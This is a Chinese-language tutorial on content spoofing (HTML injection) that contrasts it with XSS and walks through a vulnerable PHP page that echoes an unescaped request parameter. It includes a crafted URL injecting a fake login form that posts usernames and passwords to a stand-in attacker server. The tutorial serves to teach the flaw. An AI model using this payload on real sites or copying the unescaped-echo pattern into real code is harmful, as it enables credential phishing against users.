内容欺骗漏洞是指攻击者可以通过修改网页源代码,让访问者觉得是该功能或者该站点是可信合法的,来达到欺骗用户的目的。内容欺骗往往利用web服务的用户和组织之间建立的信任关系,意图是欺骗用户,达到钓鱼获取用户敏感信息的目的。
  OWASP也将也被称为内容注射或者虚拟污损,内容欺骗漏洞攻击一般是和社会工程学配合使用,这种攻击是通过利用基于代码的脆弱性和用户的信赖。在某些情况下,攻击者利用该漏洞可能修改已建立网站的代码或连接,用户很难察觉其中的差异。
  Web应用程序没有正确处理用户输入的参数,导致攻击者可以向web应用程序提交内容来修改参数。危险的内容欺骗形式诸如动态HTML的表格表单填写提交,攻击者可以修改伪造表单,盗取用户的cookies,用户密码等等。
  内容欺骗和XSS之间的差异
  据OWASP,内容介绍和XSS是密切相关的,经管XSS是利用<script>或类似的技术来运行JS,而内容欺骗是利用其它技术来修改网页。XSS漏洞修复如果不完善,比如通过适当的编码,有时候也可以导致产生内容欺骗漏洞。
  内容欺骗攻击示例:
  可能的攻击场景:
  攻击者发现一个站点,存在内容欺骗漏洞;
  攻击者发送一个URL,在URL注入恶意的代码,然后发送邮件给网站的一些用户;
  因为是受信任的域,用户不大注意的话,会进行访问;
  当受害者访问该页面时,注入的HTML渲染代码要求输入用户名和密码。
  用户名和口令都将被发送到攻击者的服务器
  下面的PHP代码包含HTML注入漏洞:
  Form.html
  </pre>
  <h1> INFOSEC INSTITUTE</h1>
  <form action=”get”>
  <b>Enter your name: </b>
  <input type=”text” name=”name” />
  <input type=”submit” value=”submit name” />
  </form>
  <pre>
  显示效果如图:

  Name.php
  <!–?php $name = $_REQUEST ['name']; ?–></pre>
  <h1>Welcome to Infosec Institute</h1>
  <pre>
  Hello, <!–?php echo $name; ?–>!
  How can we help you ?
  显示效果如图:

  注意,使用get参数传递 name到namp.php,接下来通过代码注入来创建一个恶意的URL:
  ocalhost/name.php?name=Bhavesh<form action=”http://attackers/log.php” method=”post”>Username<input type=”text” name=”user”><br>password<input type=”password” name=”pass”><input type=”submit”></form>

  通过上面的链接请求,页面呈现的注入HTML代码显示一个登录表单。一旦受害者输入用户名和密码,将会被提交到攻击者的服务器log.php.